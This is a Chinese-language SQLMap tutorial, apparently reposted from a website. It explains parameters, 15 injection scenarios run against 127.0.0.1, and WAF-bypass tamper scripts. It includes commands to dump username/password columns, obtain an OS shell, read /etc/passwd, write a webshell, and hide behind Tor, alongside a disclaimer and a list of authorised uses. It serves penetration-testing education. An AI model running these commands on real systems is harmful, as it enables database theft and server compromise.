免责声明:本教程仅供合法授权的安全测试和学习研究使用。未经授权对目标系统进行 SQL 注入测试属于违法行为,可能面临法律责任。请严格遵守《中华人民共和国网络安全法》及相关法律法规。
SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,由 Python 编写,支持多种数据库系统(MySQL、Oracle、SQL Server、PostgreSQL、SQLite 等)。它能够自动探测目标 URL 中的 SQL 注入漏洞,并利用漏洞枚举数据库信息、读取文件、执行系统命令等。
核心特性
--os-shell 获取系统 shell 多目标支持 支持 Burp 日志、Google Dork、批量扫描
安装方式
# 方式一:官网下载 https://sqlmap.org/ # 方式二:百度网盘下载 https://pan.baidu.com/s/1WtX-_VdJBNR9ErekAFMdyw?pwd=bua6 提取码: bua6
3.1 通用参数
-h 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
--update 更新 sqlmap 到最新版本
--batch 使用默认选项,跳过所有交互式提问(非交互模式)
--flush-session 清空当前目标的会话文件,重新开始检测
--fresh-queries 忽略会话文件中的缓存查询结果
--purge-output 安全删除输出目录中的所有内容
--output-dir=DIR 自定义输出目录路径
--save 将当前选项保存到 INI 配置文件中
--sqlmap-shell 进入交互式 sqlmap shell 模式
3.2 目标设置
-u URL 直接指定目标 URL 单个 GET 请求注入点
-d 直接连接数据库(非 HTTP) 数据库直连
-l BURP_LOG 从 Burp Suite 代理日志解析目标 批量扫描
-r REQUEST_FILE 从文件加载 HTTP 请求 POST/复杂请求注入
-g GOOGLE_DORK 从 Google Dork 结果获取目标 批量发现目标
-c CONFIG_FILE 从 INI 配置文件加载选项 复用配置
3.3 请求设置
--data=DATA 指定 POST 请求体数据
--cookie=COOKIE 指定 Cookie 值(需登录的场景)
--cookie-del=DEL 指定 Cookie 分隔符
--random-agent 使用随机 User-Agent 头
-A AGENT 手动指定 User-Agent
--referer=REFERER 指定 HTTP Referer 头
--headers=HEADERS 设置额外的 HTTP 头(如
Content-Type: application/json)
--method=METHOD 强制指定 HTTP 方法(GET/POST)
--auth-type=TYPE HTTP 认证类型(Basic、Digest、NTLM)
--auth-cred=CREDS HTTP 认证凭据(
用户名:密码)
--proxy=PROXY 使用代理(如
http://127.0.0.1:8080)
--proxy-cred=CREDS 代理认证凭据
--ignore-proxy 忽略系统代理设置
--delay=SEC 设置请求间隔延迟(秒),避免触发防护
--timeout=SEC 连接超时时间(默认 30 秒)
--retries=NUM 连接超时后重试次数(默认 3 次)
--force-ssl 强制使用 SSL/HTTPS
--eval=CODE 请求前执行 Python 代码(用于动态参数计算)
3.4 注入检测参数
-p PARAM 指定要测试的参数 如
-p id
--skip=PARAM 跳过指定参数不测试
--dbms=DBMS 强制指定后端数据库类型 如
--dbms=mysql
--os=OS 指定目标操作系统 如
--os=linux
--level=LEVEL 检测级别(1-5,默认 1) 日常 3-4,深度 5
--risk=RISK 风险级别(0-3,默认 1) 日常 1,授权 3
--technique=TECH 指定注入技术类型 默认
BEUSTQ
--prefix=PREFIX 手动指定 payload 前缀 伪静态场景
--suffix=SUFFIX 手动指定 payload 后缀 伪静态场景
Level 与 Risk 级别详解
--level(检测深度):
--risk(风险等级):
注入技术类型(--technique)
默认使用全部技术 BEUSTQ:
3.5 枚举与数据提取参数
-a /
--all 获取所有信息 完整枚举
-b 获取 DBMS Banner 数据库版本
--current-user 当前数据库用户
--current-db 当前数据库名称
--is-dba 判断当前用户是否为 DBA 权限评估
--users 枚举所有数据库用户
--passwords 枚举用户密码哈希
--privileges 枚举用户权限
--roles 枚举用户角色
--dbs 枚举所有数据库
--tables 枚举数据库所有表
--columns 枚举表的所有列
--schema 枚举数据库架构
--count 统计表的行数
--dump 导出指定表的全部数据
--dump-all 导出所有数据库的全部数据 ⚠️ 极度危险
-D DB 指定目标数据库
-D security
-T TABLE 指定目标表
-T users
-C COL 指定目标列
-C "username,password"
--start=N 导出数据起始行 分批导出
--stop=N 导出数据结束行 分批导出
--hex 使用 HEX 编码导出数据 二进制数据
--exclude-sysdbs 排除系统数据库 只看业务数据
3.6 操作系统访问参数
--os-cmd=CMD 执行单条操作系统命令 DBA 权限
--os-shell 获取交互式操作系统 shell DBA 权限
--os-pwn 获取 OOB shell / Meterpreter / VNC DBA + Metasploit
--os-smbrelay 一键获取 OOB shell SMB 配置
--os-bof 存储过程缓冲区溢出 MSSQL 特定场景
--os-esc 数据库进程用户权限提升 DBA 权限
--msf-path=PATH 指定 Metasploit 安装路径 联动 MSF
3.7 文件系统访问参数
--file-read=RFILE 从目标服务器读取文件
--file-write=LFILE 向目标服务器写入本地文件
--file-dest=RFILE 指定写入到目标服务器的路径
3.8 通用杂项参数
-v VERBOSITY 详细输出等级(0-6,默认 1)
-f 获取 DBMS 版本指纹信息
--identify-waf 检测目标是否部署 WAF
--tamper=TAMPER 使用 tamper 脚本绕过 WAF
--mobile 模拟移动端 User-Agent
--wizard 新手向导模式(交互式引导)
--threads=N 并发线程数(默认 1)
-o 开启所有优化开关
--predict-output 预测输出(加速检索)
--keep-alive 使用持久 HTTP 连接
详细输出等级(-v)
场景 1:GET 请求注入(最基础)
# 检测 URL 参数是否存在注入 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch # 检测并获取所有数据库名 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs # 获取指定数据库的表 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp --tables # 获取指定表的列 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users --columns # 导出指定列的数据 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users -C "username,password" --dump
使用场景:URL 参数直接拼接 SQL 语句的页面(新闻详情、商品详情等)。
场景 2:POST 请求注入
# 方式一:使用 --data 指定 POST 数据 python sqlmap.py -u "http://127.0.0.1/index.php" --data="username=admin&password=123" --batch # 方式二:从文件加载请求(推荐) # 1. 先在 Burp Suite 中抓取请求并保存为 request.txt python sqlmap.py -r request.txt --batch # 3. 指定测试参数 python sqlmap.py -r request.txt -p username --batch
使用场景:登录表单、搜索功能、评论提交等 POST 请求场景。
request.txt 文件格式:
POST /index.php HTTP/1.1
Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded
username=admin&password=
场景 3:Cookie 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1; session=abc123" --batch --level=2
⚠️ Cookie 注入需要 --level 至少为 2,否则 sqlmap 不会检测 Cookie 参数。
使用场景:当注入点在 HTTP Cookie 中(如用户 ID、Session ID 等直接拼入 SQL)。
场景 4:HTTP 头注入(User-Agent / Referer / X-Forwarded-For)
# User-Agent 注入 python sqlmap.py -u "http://127.0.0.1/index.php" --level=3 -p User-Agent --batch # X-Forwarded-For 注入 python sqlmap.py -u "http://127.0.0.1/index.php" --headers="X-Forwarded-For: 1*" --batch
⚠️ HTTP 头注入需要
--level至少为 3。
使用场景:服务器将客户端 IP(X-Forwarded-For)、User-Agent 等记录到数据库的场景(如日志系统、访问统计)。
场景 5:JSON / API 接口注入
python sqlmap.py -u "http://127.0.0.1/index.php" --data='{"id": 1, "name": "test"}' --headers="Content-Type: application/json" --batch
使用场景:前后端分离应用、RESTful API、移动端接口。
场景 6:伪静态 URL 注入
# 使用星号 * 标记注入点 python sqlmap.py -u "http://127.0.0.1/index.php" --batch # 手动指定前后缀(适用于复杂伪静态) python sqlmap.py -u "http://127.0.0.1/index.php" --prefix="') " --suffix=" -- " -p id --batch
使用场景 :URL 中的路径参数被拼入 SQL(如 /article/{id}.html)。
场景 7:需登录认证的注入
# 方式一:直接提供 Cookie python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="PHPSESSID=abc123; user=admin" --batch # 方式二:从 Burp 请求文件加载(自动携带所有认证信息) python sqlmap.py -r authenticated_request.txt --batch
使用场景:需要登录后才能访问的页面存在注入漏洞(后台管理系统)。
场景 8:通过 Burp Suite 批量扫描
# 从 Burp Suite 代理日志文件批量检测 python sqlmap.py -l burp_proxy.log --batch --level=3 --risk=1
使用场景:渗透测试中对整个目标站点进行批量 SQL 注入检测。
场景 9:使用代理隐匿身份
# 使用 HTTP 代理 python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://127.0.0.1:8080" --batch # 使用 SOCKS5 代理(如 Tor) python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="socks5://127.0.0.1:9050" --batch # 使用带认证的代理 python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://proxy.example.com:8080" --proxy-cred="user:pass" --batch
使用场景:测试过程中需要隐藏真实 IP 地址。
场景 10:绕过 WAF 防护
第一步:识别 WAF
python sqlmap.py -u "http://127.0.0.1/index.php" --identify-waf --batch
第二步:使用 tamper 脚本绕过
# 单个 tamper 脚本 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch # 组合多个 tamper 脚本 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,randomcase,chardoubleencode" --batch # 使用分块传输绕过 python sqlmap.py -u "http://127.0.0.1/index.php" --chunked --batch
使用场景:目标站点部署了 WAF/IPS/IDS 防护设备。
场景 11:时间盲注(无回显场景)
# 强制使用时间盲注技术 python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --batch # 调整延迟时间(默认 5 秒) python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --time-sec=10 --batch
使用场景:注入点没有回显(不返回查询结果),也没有报错信息,只能通过延时判断。
场景 12:操作系统命令执行
# 执行单条系统命令 python sqlmap.py -u "http://127.0.0.1/index.php" --os-cmd="whoami" --batch # 获取交互式 Shell python sqlmap.py -u "http://127.0.0.1/index.php" --os-shell --batch # 读取服务器文件 python sqlmap.py -u "http://127.0.0.1/index.php" --file-read="/etc/passwd" --batch # 向服务器写入文件(如 Webshell) python sqlmap.py -u "http://127.0.0.1/index.php" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch
⚠️ 需要 DBA 权限,且仅在合法授权测试中使用。
使用场景:已获取高权限注入,需要进一步渗透获取系统权限。
场景 13:二阶注入(二次注入)
python sqlmap.py -u "http://127.0.0.1/index.php" --forms --second-url="http://127.0.0.1/index.php" --batch
使用场景:恶意数据先注册/存储,在另一个页面被拼接执行 SQL。
场景 14:动态参数计算(如 MD5 签名)
python sqlmap.py -u "http://127.0.0.1/index.php" --data="id=1&sign=SIGN_PLACEHOLDER&time=TIMESTAMP" --eval="import hashlib,time;sign=hashlib.md5(('id=1&time='+str(int(time.time()))+'secret_key').encode()).hexdigest()" -p id --batch
使用场景:API 请求中包含动态签名或时间戳参数。
场景 15:从 Google Dork 批量发现目标
python sqlmap.py -g "inurl:".php?id=" site:127.0.0.1" --batch --level=2
使用场景:信息收集阶段批量发现潜在注入点。
Tamper 脚本是 SQLMap 的核心 WAF 绕过机制。脚本位于 /usr/share/sqlmap/tamper/ 目录(Kali Linux)。
5.1 编码类
base64encode.py 对 payload 进行 Base64 编码
charencode.py 对 payload 进行一次 URL 编码
chardoubleencode.py 对 payload 进行双重 URL 编码
charunicodeencode.py URL-UNICODE 编码(适用于 ASP/ASP.NET)
htmlencode.py 对特殊字符进行 HTML 实体编码
overlongutf8.py 使用超长 UTF-8 编码
percentencode.py 对指定字符进行百分比编码
5.2 空格替换类
space2comment.py 空格 →
//(最常用)
space2plus.py 空格 →
+
space2randomblank.py 空格 → 随机空白符(
、
、
等)
space2dash.py 空格 →
-- 注释符
space2hash.py 空格 →
# 注释符 + 换行
space2mssqlblank.py 空格 → 特定空白符(适用于 MSSQL)
5.3 关键字与符号替换类
randomcase.py SQL 关键字随机大小写(
SELECT →
SeLeCt)
equaltolike.py
= →
LIKE(绕过等于号过滤)
between.py
> < →
BETWEEN
greatest.py
> →
GREATEST()
modsecurityversioned.py MySQL 版本注释绕过 ModSecurity
unionalltounion.py
UNION ALL →
UNION
apostrophemask.py 单引号 → UTF-8 等效编码
singlequotes.py 单引号 → 双引号
5.4 特定 WAF 绕过类
luanginx.py 绕过 Lua-Nginx WAF
varnish.py 添加
X-originating-IP 头绕过 Varnish
xforwardedfor.py 伪造
X-Forwarded-For 头
bluecoat.py 替换空格和等号(适用于 Bluecoat)
modsecurityzeroversioned.py 绕过 ModSecurity(空版本注释)
charencode.py +
randomcase.py 组合绕过简单关键字过滤
5.5 Tamper 脚本使用示例
# 绕过关键字大小写过滤 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="randomcase" --batch # 绕过空格过滤 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch # 多脚本组合(编码 + 大小写 + 空格替换) python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,chardoubleencode,randomcase" --batch
6.1 星号 * 标记注入点
当你明确知道注入点位置时,用 * 精确标记,避免浪费时间检测其他参数:
python sqlmap.py -u "http://127.0.0.1/index.php" --batch
6.2 分批导出大数据
避免一次性导出大量数据触发告警或超时:
# 导出第 1000-2000 行
python sqlmap.py -u "http://127.0.0.1/index.php" –dump -D webapp -T users –start=1000 –stop=2000 –batch
6.3 正则过滤提取
仅提取符合特定规则的数据:
# 仅提取 admin 相关账号
python sqlmap.py -u "http://127.0.0.1/index.php" –dump -D webapp -T users -C email –regex=".@admin.." –batch
6.4 CSRF Token 自动处理
目标表单包含 CSRF Token 时:
python sqlmap.py -u "http://127.0.0.1/index.php" --csrf-token="csrf_token_name" --csrf-url="http://127.0.0.1/index.php" --batch
6.5 多线程加速
python sqlmap.py -u "http://127.0.0.1/index.php" --threads=5 --batch
注意:线程过多可能压垮目标服务器或触发 WAF。
6.6 二进制数据 HEX 导出
当数据库字段包含二进制数据(如密码哈希、文件内容):
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -T users -C password --hex --batch
这是实战中最常用的工作模式:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ 浏览器访问 │────▶│ Burp Suite │────▶│ SQLMap │ │ 目标网站 │ │ 抓取请求 │ │ 加载请求 │ │ │◀────│ 保存为文件 │◀────│ 自动检测利用 │ └──────────────┘ └──────────────┘ └──────────────┘
操作步骤:
- 配置浏览器代理 :设置浏览器通过 Burp Suite(默认
127.0.0.1:8080) - 正常操作目标站点:登录、浏览、搜索等,让 Burp 记录所有请求
- 保存请求文件 :在 Burp 中右键目标请求 → Save to file →
request.txt - 用 SQLMap 加载检测:
python sqlmap.py -r request.txt --batch --level=3 --risk=1
python sqlmap.py -r request.txt --batch -D target_db -T users -C "username,password,email" --dump
–level 到 3-5 被 WAF 拦截 触发安全规则 使用
–tamper +
–identify-waf 请求超时 网络延迟 / WAF 增加
–timeout /
–delay POST 注入无效 数据未正确传递 检查
–data 格式,或用
-r 加载文件 时间盲注太慢 默认延迟 5 秒 使用
–technique=T +
–threads 优化 找不到数据库 权限不足 使用
–is-dba 确认权限 报错注入失败 不支持报错回显 切换
–technique=BE 使用盲注 Cookie 注入漏测 level 太低 确保
–level>=2 伪静态检测不到 参数识别失败 用
* 标记注入点或加
–prefix/
–suffix
SQLMap 检测完成后会输出注入类型和信息,关键信息解读:
[INFO] the back-end DBMS is MySQL >= 5.6
back-end DBMS: MySQL >= 5.6
[INFO] fetched data logged to text files under ‘/root/.sqlmap/output/127.0.0.1’
结果文件位置 :~/.sqlmap/output/{目标地址}/
log 检测日志
session.sqlite 会话数据
{db}/{table}.csv 导出的数据(CSV 格式)
⚠️ 以下行为可能触犯法律,务必在合法授权范围内使用
–dump-all 大规模拖库 仅提取必要数据用于验证漏洞 在生产环境使用
–os-shell 在隔离的测试环境中验证 利用发现的漏洞进行破坏 及时报告漏洞给所有者 使用工具进行 DDoS 攻击 控制请求速率,避免影响服务
合法使用场景:
- 本地搭建靶场练习(如 sqli-labs、DVWA)
- 企业内部授权渗透测试
- CTF 安全竞赛
- 漏洞众测平台授权项目
- 护网行动 / 攻防演练(在授权范围内)
快速检测
# 快速检测 GET 注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch
快速检测 POST 注入
python sqlmap.py -u "http://127.0.0.1/index.php" –data="param=value" –batch
从 Burp 文件检测
python sqlmap.py -r request.txt –batch
信息枚举
# 获取数据库 → 表 → 列 → 数据 的完整流程
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch –dbs # 1. 所有数据库 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname –tables # 2. 指定库的表 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname -T tblname –columns # 3. 指定表的列 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname -T tblname -C "col1,col2" –dump # 4. 导出数据
WAF 绕过
# 识别 WAF + 绕过
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –identify-waf –tamper="space2comment,randomcase" –batch
提权与命令执行
# 获取 OS Shell
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –os-shell –batch
读取文件
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –file-read="/etc/passwd" –batch
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/264986.html